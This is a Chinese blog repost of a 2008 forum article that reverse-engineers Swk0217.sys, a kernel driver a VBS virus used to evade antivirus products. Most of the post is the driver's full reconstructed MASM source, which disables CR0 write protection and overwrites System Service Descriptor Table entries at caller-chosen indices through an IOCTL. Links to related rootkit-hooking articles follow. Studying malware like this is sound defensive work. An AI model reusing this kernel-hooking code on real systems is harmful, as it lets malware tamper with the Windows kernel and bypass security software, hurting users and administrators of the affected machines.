RootKit hook之[二] SSDT hook

Rootkit Unhooker驱动逆向分析  这个驱动本来准备端午节搞的,但后来端午节去了躺北京玩了几天,也就搁置了...最近连续花了4个晚上,大致把它搞的差不多了,有些收获...初学 window驱动,水平很菜,有些东西我也未必清明,加上3环的代码还没有吃透,期间也没有用调试器跟踪,全是IDA(F5)静态分析的,谬误在所难免, 高手请飘过,希望对菜鸟学习有点帮助.1.SSDT检测这个功能有三个IoControlCode与之对应,他们分别是 阅读详情
 作 者: combojiang
时 间: 2008-01-12,23:00
链 接: http://bbs.pediy.com/showthread.php?t=58199

哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东西的冲动。于是便有了本篇。


谈到ssdt hook,先前有堕落天才的一篇文章《 http://bbs1.pediy.com/showthread.php?p=285856#poststop"]SSDT Hook的妙用-对抗ring0 inline hook》大家如果对基本概念不了解的话,可以看看这篇文章。另外,有一篇博客上也绘声绘色的描述了它。 简单说说SSDT。

今天我们透过一个实例看看它的应用,这个实例来源于sudami前面发出的一篇文章
一VBS病毒过IS和微点了,无语...,夜深人静,我便把里面的Swk0217.sys逆向来看,写得很不错。

该病毒是vbs调用驱动完成的。swk0217d的主要功能是:

1。获取ssdt函数个数
2。获取ssdt函数表中的所有函数
3。hook ZwQuerySystemInformation
4。unhook ZwQuerySystemInformation
5。根据用户给定的函数地址和ssdt表中的索引,修改ssdt表。

注:
1)其中在hook ZwQuerySystemInformation执行时,首先通过ZwQuerySystemInformation找出ntosknrl.exe 模块的内存加载位置,然后通过ntosknrl.exe的导出表找出函数NtQuerySystemInformation的地址。然后hook ZwQuerySystemInformation。各位看官,作者的主要目的是防止SSDT中该函数被挂钩,因此作者在这里做了恢复.病毒作者要使用这个函数,但是害怕这个函数已经被别人做了手脚。

2)unhook ZwQuerySystemInformation时,作者使用完该函数后又恢复了ssdt原有的状态。


.386
.model flat,stdcall
option casemap:none


include w2k/ntstatus.inc
include w2k/ntddk.inc

include w2k/ntoskrnl.inc
includelib C:/RadASM/masm32/lib/w2k/ntoskrnl.lib
include Swk0207.inc

.data
unk_10B80 db  4Eh ; N
          db  0E6h  ; ?
          db  40h  ; @
          db  0BBh  ; ?
OldSSDTValueOfZwQuerySystemInformation dd 0

.code
;              6E 74 6F 73 6B 72 6E 6C 2E 65 78 65 00 CC 6A 24 = ntoskrnl.exe,0   int3  push 24h
FunctionArray dd 736F746Eh, 6C6E726Bh, 6578652Eh,246ACC00h

;***********************************************************************************************
; ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
;***********************************************************************************************

;typedef struct _SYSTEM_MODULE_INFORMATION  // Information Class 11
;{
;    ULONG  Reserved[2];  +0
;    PVOID  Base;         +08h
;    ULONG  Size;         +0ch
;    ULONG  Flags;        +10h
;    USHORT Index;        +14h
;    USHORT Unknown;      +16h
;    USHORT LoadCount;    +18h
;    USHORT ModuleNameOffset; +1Ah
;    CHAR   ImageName[256];   +1Ch
;} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) 
;                  ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 
;                    IN OUT PVOID SystemInformation, 
;                    IN ULONG SystemInformationLength, 
;                    OUT PULONG ReturnLength OPTIONAL );

;typedef struct _tagSysModuleList {
;    ULONG ulCount;
;    SYSTEM_MODULE_INFORMATION smi[1];
;} SYSMODULELIST, *PSYSMODULELIST;

;用法如下:
;s = NtQuerySystemInformation( SystemModuleInformation, pRet,
;sizeof( SYSMODULELIST ), &nRetSize );

  xor  ebx, ebx
  mov  [ebp-24h], ebx
  mov  [ebp-4], ebx
  
  lea  eax, [ebp-1Ch] 
  push  eax          ;ReturnLength
  push  ebx          ;SystemInformationLength = 0
  lea  eax, [ebp-20h]   
  push  eax          ;SystemInformation
  push  0Bh          ;SystemModuleInformation,遍历模块
  mov  esi, ZwQuerySystemInformation
  call  esi ; ZwQuerySystemInformation ,第一次调用得到需要的缓冲区长度
  
  mov  [ebp-28h], eax
  cmp  eax, 0C0000004h
  jnz  ERRORRET
  
  push  206B6444h ;   ' kdD'标签
  push  dword ptr [ebp-1Ch] ;申请的长度
  push  ebx                 ;NonPagedPool
  call  ExAllocatePoolWithTag
  mov  edi, eax
  mov  [ebp-30h], edi   ;保留返回值
  
  cmp  edi, ebx        ;判断返回值是否为空
  jnz  NextStep
  or  dword ptr [ebp-4], 0FFFFFFFFh
  xor  eax, eax
  jmp  ErrAllocMem
  
NextStep:
  lea  eax, [ebp-34h]          ;ReturnLength
  push  eax
  push  dword ptr [ebp-1Ch] ;SystemInformationLength
  push  edi                 ;SystemInformation
  push  0Bh                 ;SystemModuleInformation
  call  esi                 ; ZwQuerySystemInformation
  mov  [ebp-28h], eax
  
  cmp  eax, ebx
  jl  ReleaseMemory
  
  mov  eax, [edi]
  mov  [ebp-1Ch], eax  ;保留ZwQuerySystemInformation返回的SYSTEM_MODULE_INFORMATION元素个数
  lea  esi, [edi+4]  
  mov  [ebp-2Ch], esi  ;保留返回的SYSTEM_MODULE_INFORMATION数组首地址
  mov  [ebp-20h], ebx  ;计数变量清零
  
FORLOOP:
  mov  eax, [ebp-1Ch] ;开始for循环
  cmp  [ebp-20h], eax
  jnb  ReleaseMemory
  push  offset FunctionArray
  
  ; 例如: ImageName: windows/system32/ndis.sys, 那么 ModuleNameOffset 就是 0x11  
  movzx  eax, word ptr [esi+1Ah] ;SYSTEM_MODULE_INFORMATION.ModuleNameOffset ,指向名字的偏移
  lea  eax, [eax+esi+1Ch]  ;SYSTEM_MODULE_INFORMATION.ImageName + SYSTEM_MODULE_INFORMATION.ModuleNameOffset
  push  eax   ;不包含路径的名字
  call  _stricmp
  pop  ecx             ;出栈
  pop  ecx
  test  eax, eax
  jnz  ContinueLoop
  mov  eax, [esi+8]    ;返回SYSTEM_MODULE_INFORMATION.Base
  mov  [ebp-24h], eax  ;返回值保存在[ebp-24h]单元
  
ReleaseMemory:
  push  edi
  call  ExFreePool
  jmp      ERRORRET
  
ContinueLoop:
  inc  dword ptr [ebp-20h] ;循环变量递增
  add  esi, 11Ch           ;取下一个SYSTEM_MODULE_INFORMATION类型元素
  mov  [ebp-2Ch], esi      ;暂存当前的SYSTEM_MODULE_INFORMATION元素
  jmp  FORLOOP


SehFunction     proc near               
    mov     esp, [ebp-18h]
ERRORRET::                                                               
    or      dword ptr [ebp-4], 0FFFFFFFFh
    mov     eax, [ebp-24h]
ErrAllocMem::                             
    ret
SehFunction    endp


;********************************************************************************************
; 相当于GetProcessAddress的功能, hModule是指ntoskrnl.exe模块,查找该PE导出表,
; 找出pFunctionName的函数地址.
; 工作原理: 遍历导出表中的AddressOfFunctions,每取出一个函数地址,都根据其在AddressOfFunctions中的
;           索引,遍历整个的AddressOfNames表和AddressOfNameOrdinals表,找出序号跟AddressOfFunctions
;           索引相匹配的函数名,比对函数名和输入参数2是否相同,相同则从AddressOfFunctions中返回当前函数
;           的地址,不同则继续找...
;********************************************************************************************
GetProcessFromNtoskrnl proc hModule:dword,FunctionName:dword

  LOCAL AddressOfNameOrdinals:dword;函数名序号表
  LOCAL AddressOfNames:dword       ;函数名地址表
  LOCAL OutputTable:dword          ;导出表地址
  LOCAL AddressOfFunctions:dword   ;指向导出函数地址表中的指针
  LOCAL pFunctionName:dword        ;函数名
  LOCAL i:dword                    ;循环变量
  LOCAL CurAddressOfNameOrdinals:dword ;当前函数名序号
  LOCAL CurAddressOfNames:dword        ;当前的函数名地址
  LOCAL nIndex:dword                   ;循环变量
  LOCAL myFoundOutFunctionName:dword   ;我们从函数名地址表中找出的函数名指针
  LOCAL InputFunctionName:dword         ;输入的函数名指针,指向参数2
  LOCAL SecondCharacterOfFunctionName:byte
  LOCAL FirstCharacterOfFunctionName:byte
  
  mov  edx, hModule
  mov  eax, [edx+3Ch]
  add  eax, edx           ; 指向PEHeader
  cmp  word ptr [edx],  5A4Dh ; 'MZ'
  jnz  Quit
  cmp  dword ptr [eax], 4550h ;'PE'
  jnz  Quit
  mov  eax, [eax+78h]
  add  eax, edx          ;指向导出表
  mov  OutputTable, eax
  
  mov  edi, [eax+20h] ; IMAGE_EXPORT_DIRECTORY.AddressOfNames 
  add  edi, edx
  mov  AddressOfNames, edi
  
  mov  esi, [eax+1Ch] ;IMAGE_EXPORT_DIRECTORY.AddressOfFunctions
  add  esi, edx
  mov  AddressOfFunctions, esi
  
  mov  ecx, [eax+24h] ;IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals
  add  ecx, edx
  mov  AddressOfNameOrdinals, ecx
  
  and  nIndex, 0
  mov  edx, pFunctionName
  
StartSearch:
  mov  ebx, nIndex
  cmp  ebx, [eax+14h] ;IMAGE_EXPORT_DIRECTORY.NumberOfFunctions
  jnb  Quit
  
  cmp  dword ptr [esi], 0 ;判断AddressOfFunctions中第一个函数地址是否为空
  jz  NextAddressOfFunction          ;如果为空,就取IMAGE_EXPORT_DIRECTORY.AddressOfFunctions表中的下一个函数
  
  mov  CurAddressOfNames, edi
  mov  CurAddressOfNameOrdinals, ecx
  and  i, 0
  
StartFindFunctionFromAddressOfNames:
  mov  ebx, i
  cmp  ebx, [eax+18h]   ;IMAGE_EXPORT_DIRECTORY.NumberOfNames 
  jnb  OutOfRange
  mov  ebx, CurAddressOfNameOrdinals
  movzx  ebx, word ptr [ebx]
  cmp  ebx, nIndex      ;判断从AddressOfFunctions得到的序号,跟AddressOfNameOrdinals得到序号是否一致
  jnz  NextAddressOfNameOrdinals
  mov  edx, CurAddressOfNames
  mov  edx, [edx]
  add  edx, hModule
  mov  pFunctionName, edx   ;取出函数名
  
OutOfRange:
  test  edx, edx        ;判断是否空
  jz  ContinueWork
  
  mov  myFoundOutFunctionName, edx    ;暂存函数名
  mov  edx, FunctionName
  mov  InputFunctionName, edx         ;暂存输入的函数名
  
CompareFunctionName:
  mov  edx, InputFunctionName
  mov  dl, [edx]
  mov  FirstCharacterOfFunctionName, dl
  mov  ebx, myFoundOutFunctionName
  cmp  dl, [ebx]
  jnz  Different     ;不相同
  test dl, dl       ;判断InputFunctionName是否为空,如果为空,就返回函数地址表中的第一个
  jz  RetCurrentFunctionAddress
  
  mov  edx, InputFunctionName  ;比对函数名中的下一个字符
  mov  dl, [edx+1]
  mov  SecondCharacterOfFunctionName, dl
  cmp  dl, [ebx+1]
  jnz  Different
  
  add  InputFunctionName, 2
  add  myFoundOutFunctionName, 2
  test  dl, dl
  jnz   CompareFunctionName
  
RetCurrentFunctionAddress:
  xor  edx, edx           ;edx = 0,表示找到对应的函数
  jmp  GetFunctionAddress
  
NextAddressOfNameOrdinals:
  add  CurAddressOfNames, 4
  add  CurAddressOfNameOrdinals, 2
  inc  i
  jmp  StartFindFunctionFromAddressOfNames
  
Different:
  sbb  edx, edx
  sbb  edx, 0FFFFFFFFh  ;edx = 1,表示没有找到对应的函数,继续找
  
GetFunctionAddress:
  test  edx, edx
  jnz  ContinueWork
  
  mov  esi, [esi]
  add  esi, hModule
  mov  eax, esi      ;返回函数地址
  jmp  Founded
  
ContinueWork:
  xor  edx, edx
  mov  pFunctionName, edx
  
NextAddressOfFunction:
  add  esi, 4
  mov  AddressOfFunctions, esi
  inc  nIndex
  jmp  StartSearch
  
Quit:
  xor  eax, eax  
Founded:
  ret
GetProcessFromNtoskrnl endp


;**************************************************************************
; 给出一个索引值和一个函数地址,修改ssdt表
;**************************************************************************
HookSSDTByFunIndex proc Value:dword,Index:dword
  
  mov  ecx, Index
  mov  eax, KeServiceDescriptorTable
  cmp  ecx, [eax+8]  ;NumberOfService
  jb  @f
  xor  al, al
  jmp  Quit
  
@@:
    ;去掉写保护
  push  eax
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax
  pop  eax
  
  mov  eax, KeServiceDescriptorTable
  mov  eax, [eax]
  mov  edx, Value; Value
  lea  ecx, [eax+ecx*4] ; Target
  call  InterlockedExchange
  
  ;恢复写保护
  push  eax
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  pop  eax
  
Quit:
  ret
HookSSDTByFunIndex endp

;**************************************************************************
; hook ZwQuerySystemInfomation,替换为NtQuerySystemInformation ,返回值为原来的值
;**************************************************************************
HookSSDT proc Value:dword,FunAddr:dword
  push  eax
  ;去掉写保护
  mov  eax, cr0
  and  eax, 0FFFEFFFFh
  mov  cr0, eax  
  pop  eax
  
  mov  ecx, KeServiceDescriptorTable
  mov  eax, FunAddr
  mov  eax, [eax+1] ;通过ZwQuerySystemInfomation得到ssdt中的index
  mov  ecx, [ecx]   ;ServiceTableBase
  mov  edx, Value   ; Value
  lea  ecx, [ecx+eax*4] ; Target
  call  InterlockedExchange
  mov  ecx, eax
  push  eax
  
  ;恢复写保护
  mov  eax, cr0
  or  eax, 10000h
  mov  cr0, eax
  
  pop  eax
  mov  eax, ecx
  ret
HookSSDT endp


SourceString wchar L(<//DosDevices//Swk0217/0>)


swkUnLoad proc pDriverObject :dword
  LOCAL DestinationString:UNICODE_STRING

  push  ecx
  push  ecx
  push  offset SourceString ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; SymbolicLinkName
  call  IoDeleteSymbolicLink
  mov  eax, pDriverObject 
  push  dword ptr [eax+4] ; DeviceObject
  call  IoDeleteDevice
  
  ret
swkUnLoad endp

aNtquerysystemi  db 'NtQuerySystemInformation',0

DispatchFunction:
  push  esi               
  mov  esi, [esp+0Ch]   ;pIrp
  mov  eax, [esi+60h]   ;取IRP.CurrentStackLocation
  
  and  dword ptr [esi+18h], 0 ;将IRP中的IoStatus置零,这个结构体见ntddk.inc
  and  dword ptr [esi+1Ch], 0
  
  cmp  byte ptr [eax],  0Eh  ;IO_STACK_LOCATION.MajorFunction 
  mov  edx, [esi+0Ch]       ;IRP.AssociatedIrp.SystemBuffer
  mov  ecx, [eax+8]         ;IO_STACK_LOCATION.Parameters.DeviceIoControl.InputBufferLength
  push  edi
  jnz  CreateAndClose
  mov  eax, [eax+0Ch]       ;IoControlCode
  cmp  eax, 83471060h       
  jz  GetSSDTNum           ;获取ssdt函数个数
  cmp  eax, 83471064h
  jz  GetSSDTFunction      ;获取ssdt函数表
  cmp  eax, 83471068h
  jz  HookZwQuerySystemInformation ;hook ZwQuerySystemInformation
  cmp  eax, 8347106Ch
  jz  RestoreHookSSDT      ;恢复前面hook的ZwQuerySystemInformation
  cmp  eax, 83471070h
  jz  ModifySSDTByFunIndex ;根据用户给定的函数地址和ssdt表中的索引,修改ssdt表
  mov  dword ptr [esi+18h], 0C000000Dh  ;IoStatus
  jmp  CreateAndClose
  
ModifySSDTByFunIndex:
  push  8
  pop  edi
  cmp  ecx, edi  ;判断InputBufferLength是否等于8
  jnz  CreateAndClose
  push  dword ptr [edx+4] ;SystemBuffer中第二个dword值,代表一个ssdt表中的索引
  push  dword ptr [edx]   ;;SystemBuffer中第一个dword值,代表一个给定的函数地址
  call  HookSSDTByFunIndex
  test  al, al
  jz  CreateAndClose
  mov  [esi+1Ch], edi
  jmp  CreateAndClose
  
RestoreHookSSDT:  ;恢复ssdt表
  mov  eax, OldSSDTValueOfZwQuerySystemInformation
  test  eax, eax
  jz  CreateAndClose
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  HaveDone
  push  ecx
  push  eax
  call  HookSSDT
  
HaveDone:
  and  OldSSDTValueOfZwQuerySystemInformation, 0
  jmp  CreateAndClose
  
HookZwQuerySystemInformation:
  call  near ptr FunctionArray+0Eh  ;执行 push 24h,通过ZwQuerySystemInformation获取ntoskrnl.exe的内存加载地址
  test  eax, eax
  jz  CreateAndClose
  push  offset aNtquerysystemi     ; "NtQuerySystemInformation"
  push  eax
  call  GetProcessFromNtoskrnl
  mov  ecx, ZwQuerySystemInformation
  cmp  eax, ecx
  jz  CreateAndClose
  push  ecx
  push  eax
  call  HookSSDT
  mov  OldSSDTValueOfZwQuerySystemInformation, eax ;保存原ssdt表中函数地址
  jmp  CreateAndClose
  
GetSSDTFunction:
  mov  eax, KeServiceDescriptorTable
  mov  edi, [eax+8] ;NumberOfService
  push  ebx
  mov  ebx, edi
  shl  ebx, 2       ;NumberOfService*4
  cmp  ecx, ebx     ;比较输入长度与NumberOfService*4,判断申请的缓冲区是否够
  pop  ebx
  jb  CreateAndClose
  xor  ecx, ecx
  test  edi, edi
  jbe  GetSSDTFunctionErr
  
GetNextSSDTFunction:
  mov  eax, [eax]
  mov  eax, [eax+ecx*4]
  mov  [edx+ecx*4], eax
  mov  eax, KeServiceDescriptorTable
  inc  ecx
  cmp  ecx, [eax+8]
  jb  GetNextSSDTFunction
  
GetSSDTFunctionErr:
  mov  eax, [eax+8]
  shl  eax, 2
  jmp  Quit
  
GetSSDTNum:
  push  4
  pop  eax
  cmp  ecx, eax ;输入长度<4跳转
  jb  CreateAndClose
  mov  ecx, KeServiceDescriptorTable
  mov  ecx, [ecx+8] ;NumberOfService
  mov  [edx], ecx  ;edx指向IRP.AssociatedIrp.SystemBuffer
  
Quit:
  mov  [esi+1Ch], eax
  
CreateAndClose:
  mov  edi, [esi+18h] ;IoStatus
  xor  dl, dl
  mov  ecx, esi
  call  IofCompleteRequest
  mov  eax, edi
  pop  edi
  pop  esi
  ret


wcharDeviceName wchar L(<//Device//Swk0217/0>)
wcharSymbolicLink wchar L(<//DosDevices//Swk0217/0>)


start proc DriverObject:dword
  LOCAL SymbolicLinkName:UNICODE_STRING
  LOCAL DestinationString:UNICODE_STRING
  LOCAL DeviceObject:dword
  
  and  DeviceObject, 0
  push  esi
  push  edi
  mov  edi, RtlInitUnicodeString
  push  offset wcharDeviceName ; SourceString
  lea  eax, DestinationString
  push  eax    ; DestinationString
  call  edi             ; RtlInitUnicodeString
  mov  esi, DriverObject
  lea  eax, DeviceObject
  push  eax    ; DeviceObject
  push  0    ; Exclusive
  push  0    ; DeviceCharacteristics
  push  598347h    ; DeviceType
  lea  eax, DestinationString
  push  eax    ; DeviceName
  push  0    ; DeviceExtensionSize
  push  esi    ; DriverObject
  call  IoCreateDevice
  test  eax, eax
  jl  @f
  push  offset wcharSymbolicLink ; SourceString
  lea  eax, SymbolicLinkName
  push  eax    ; DestinationString
  call  edi ; RtlInitUnicodeString
  lea  eax, DestinationString
  push  eax    ; DeviceName
  lea  eax, SymbolicLinkName
  push  eax    ; SymbolicLinkName
  call  IoCreateSymbolicLink
  mov  ecx, offset DispatchFunction
  mov  [esi+70h], ecx ;IRP_MJ_DEVICE_CONTROL
  mov  [esi+40h], ecx ;IRP_MJ_CLOSE
  mov  [esi+38h], ecx ;IRP_MJ_CREATE
  mov  dword ptr [esi+34h], offset swkUnLoad ;DriverObject.DriverUnLoad
  
@@:
  pop  edi
  pop  esi
  ret
start endp


end start
上传的附件
文件类型: rarswk0207.rar (2008-01-12 23:00, 5.2 KB, 424 次下载)
根植内核:SSDT隐藏进程的rootkit技术探究 系统服务描述表(SSDT,System Service Descriptor Table)是操作系统中非常重要的一个组件,它定义了内核提供的服务与系统调用之间的映射关系。SSDT的核心功能在于将应用程序的高级系统调用请求转换为内核可识别的服务,从而允许用户模式程序与内核模式组件之间进行交互。钩子技术最早可以追溯到计算机程序的早期,当时主要用于软件开发中的事件处理。钩子(Hook)本质上是一种特殊的函数,它允许开发者截获并修改传递给另一个函数的参数或返回值。 阅读详情

相关推荐

NtQuerySystemInformation

C++ Builder 6.0写的进程查看工具,关键是NtQuerySystemInformation函数的运用,以及Unicode字符与ANSII字符的转换.

[内核安全2]内核态Rootkit之SSDT Hook

/*++ * @Description * 主逻辑控制函数 * @Param * @Return * @Attention --*/ void Running(); /*++ * @Description * 不接收换行的从标准输入内收到键入,是一个安全函数 * * @Param * lpszBuf: 接受键盘输入的缓冲区 * uiSizeOfBuf: 描述lpszBuf的大小 * * @Return * 返回状态码 * * @Attention --*/ NTSTATUS kgets(OUT.

輚至消亡 1048

NtQuerySystemInformation判断线程是否被挂起/判断线程状态

NtQuerySystemInformation判断线程是否被挂起/判断线程状态

Rootkit---HOOK内核驱动

当插入一个内核驱动时,一般会使用工具insmod,该工具实际上调用了系统调用init_module,在该系统调用函数中,首先调用 load_module,把用户空间传入的整个内核模块文件创建成一个内核模块,返回一个struct module结构体。内核中便以这个结构体代表这个内核模块。 init_module系统调用定义,可以看到主要是调用了load_module。 在load_module中,主要prepare_coming_module,准备将内核模块进行加载。 prepare_coming_mo

q759451733的博客 1785

挂钩NtQuerySystemInformationAPI并隐藏进程名称的DLL_C_下载.zip

挂钩NtQuerySystemInformationAPI并隐藏进程名称的DLL_C_下载.zip

DRAM架构演进与HBM技术在高性能计算中的应用

DRAM(动态随机存取存储器)是现代计算系统中关键的内存技术,其架构优化直接影响数据供给能力。随着AI训练和科学计算等数据密集型负载的普及,传统DDR架构面临带宽墙、能效比和访问粒度等挑战。HBM(高带宽内存)通过3D堆叠技术(如TSV硅通孔)和异构集成(如PIM存内计算)显著提升了带宽和能效比。这些技术在高性能计算、AI推理和大模型训练等场景中展现出巨大潜力,例如HBM3的带宽可达819GB/s,能效比低至0.95pJ/b。未来,DRAM技术将继续向更高密度、更低功耗和更智能的内存计算方向发展。

weixin_35757191的博客 400

[内核安全6]内核态Rootkit之GDT Hook

1. 导言 GDT Hook的原理是通过修改GDT全局描述符表来达到挂钩的目的。GDT表的概念可以看下:IDT Hook 整个GDT Hook的原理可以归纳为如下图。 2. 代码段区分 代码段分为两种: 一致代码段 非一致代码段 数据段属于非一致代码段 首先不管一致还是非一致,同特权级代码段之间互访都是允许的。在者永远不能由高特权级代码段访问低特权级代码段,这是不允许的!因为操作系统不会允许用高特权级来访问不安全的代码。有一种情况例外就是数据段,数据段可以被更高级的

輚至消亡 882

xHCI驱动学习(1) 核心数据结构

虽然Linux内核拥有C语言构建的身体,但它骨子里散发的是面向对象的气质,这一个个的对象就是struct。面对一个内核模块的时候,首先要找出关键的struct和它们之间的关系,才能摸清代码的骨骼脉络。今天来理清USB xHCI相关的数据结构类型usb_hcd、xhci_hcd、hc_driver和全局变量xhci_pci_driver、xhci_hc_driver、xhci_pci_hc_driver之间的关系。

1万+

驱动级Rootkit攻击测试——进程隐藏

学习内核编程,祝早日能编写POC程序! SSDT HOOK NtOpenProcess typedef NTSTATUS(*pfnNtOpenProcess)( PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); pfnNtOpenProcess OldNtOpenProcess; 定义一个指向API的函数指针定义方法。作用是定义API函数指针备份原来的函数地址。 typedef struct _SERVICE_DESCRIPTOR_T

摔不死的笨鸟的博客 849

【MBD开发】Simulink中的枚举

01 什么是枚举 按百度百科的词条【枚举】是在编程语言中用来存储一组固定的常量。不同编程语言的枚举语法也不一样,以C语言为例。 typedef enum{ GEAR_P, //0:P挡 GEAR_R, //1:倒挡 GEAR_N, //2:空挡 GEAR_D, //3:前进}_GEAR; 上面枚举了一个_GEAR数据,用GEAR_P表示0,GEAR_R表示1……​​​​​​​ if(current_gear==GEAR..

f6723的博客 3096

懒人精灵手游内存技术分析

教学声明:全套教程教学用到的游戏采用手游私服网游进行测试,不针对任何游戏。教学只做计算机技术研究,不做其他用途。

yizhihaoren123的博客 1655

【原创】RootKit hook之[二] SSDT hook

标 题: 【原创】RootKit hook之[二] SSDT hook 作 者: combojiang 时 间: 2008-01-12,23:00:47 链 接: http://bbs.pediy.com/showthread.php?t=58199 哈,好大一场雪啊,2008年的第一场雪,比以往来得早些。外面的雪在下,透过书房的窗,欣赏着外面的雪和过往的车辆,欣赏之余,便有了想写点东

多媒体编程、网络编程、系统编程、网络安全编程、驱动编程 1435

建设银行核心系统建设历程全网最详细记录

中国建设银行核心系统数字化转型之路 摘要:中国建设银行自1954年成立以来,其核心系统经历了从分散到集中、再到分布式架构的演进历程。2002-2005年完成的数据大集中工程(DCC)实现了全行业务统一管理,2010年启动的"新一代核心系统"构建了企业级架构,率先实现"一次研发,全行共享"。2020年起全面推进主机下移战略,通过分布式架构改造,攻克八大关键技术难题,于2024年7月完成境内外全量核心业务下移,日均同步数据8亿条,实现金融核心系统完全自主可控。这一转型不仅

银行信息系统应用架构详解 4871

Hide Your SSDT HOOK

原始出处:http://www.rootkit.com/newsread.php?newsid=922 信息来源:0GiNr,零下安全 信心无限 文章作者:xrayn 译文作者:wangweinoo1 译者声明:本译版首发于0GiNr,后由wangweinoo1极小规模修改后发于EST,转载请保持信息完整 文章目录: 0.前言(Preface)by wangweinoo1 1.目

ccx_john的专栏 1013

YOLOv11 结合多尺度卷积注意力机制(MSCA):小目标检测精度提升20%的完整实现指南

用不同尺寸的深度卷积(如d×7×1、d×1×7等)提取多尺度特征;通过通道融合,强化小目标的细节信息;仅增加4.2M参数,却能让小目标检测精度大幅提升(对比表见后文)。

m0_71589036的博客 184

Google 二次签名 导致 Facebook , Google 登录失败

google 授权登录

xq610928的博客 1957

x64技术之SSDT_Hook

x64技术之SSDT_Hook测试环境:虚拟机: Windows 7 64bit过PG工具驱动加载工具PCHunter64系统自带的计算器和任务管理器等实现思路:实际思路与win32的思路一样.都是替换SSDT表里边的函数地址.不过微软被搞怕了,所以在x64上做了一些手脚.具体手脚就是x64通过SSDT得到的函数地址,不是真实的函数绝对地址了,而是加密了的.HOOK1.得到系统服务表基址2.保存需...

Hades的博客 5998

手把手教你从入门到精通C#串口通信

本文以我开发的串口助手SComTool为例,详细介绍《C#串口通信从入门到精通》专栏的目录内容,本专栏由一个高级工程师多年实战经验总结,绝对是c#串口通信的葵花宝典!带您从入门到精通C#串口通信!

qq_34059233的博客 3万+

【解读黑客】何为Rootkit?

1、何为Rootkit?(结合AIDS加深理解) Rootkit自身也是木马后门或恶意程序的一类,只是,它很特殊,为什么呢?因为,你无法找到它。 正如自然界的规则一样,最流行的病毒,对生物的伤害却是最小的,例如一般的感冒,但是最不流行的病毒,却是最夺命的。Rootkit木马就是信息世界里的 AIDS(爱滋病),一旦感染,就难以用一般手段消灭了,因为它和自然界里的同类做的事情一样,破坏了系统...

茗染云华 荆挑赋樱 1875

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

谈谈对于SSDT中的API进行双层HOOK的通用处理模式

HOOK的确是门艺术,在对抗中求生存,感觉很好。。。此处,只是说一下处理是的思路,不提供完整源码代码://谈谈对于SSDT中的API进行双层HOOK的通用处理模式,示例代码:  // 双层HOOK: 1.在不存在SSDT HOOK的情况下先安装Inline HOOK  ...  SetInLineHookZwQueryDirectoryFile();  SetInLin

891

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

SSDT的检测与恢复

为避免检测失效(rootkit惯用的hook,inline hook)一个有效的方法是,我们在进行每一项检测之前都确保自身所使用的函数没有被hook,这样就不得不涉及到ssdt恢复和一些inline hook恢复了.ssdt是啥?原理之类的网上很多,相信感兴趣的你肯定不缺乏这方面的知识.我这里提供个方便,放个片段,//枚举SSDT表typedef struct _tagSSDT {  

1588

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

HOOK SSDT

<br />NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath ) { DriverObject->DriverUnload = OnUnload; Hook(); return STATUS_SUCCESS; } // 此处修改SSDT中的NtOpenProcess服务地址 V

Rootkit ﹏ 816

SSDT HOOK

文章标题】: 必备绝技——hook大法( 中 ) 【文章作者】: LvG 【作者邮箱】: LvG2008@gmail.com 【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教! --------------------------------------

whispermemory的专栏 4073
上一篇: RootKit之[五] IRP Hook全家福
下一篇: rootkit hook之[三] inline hook
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值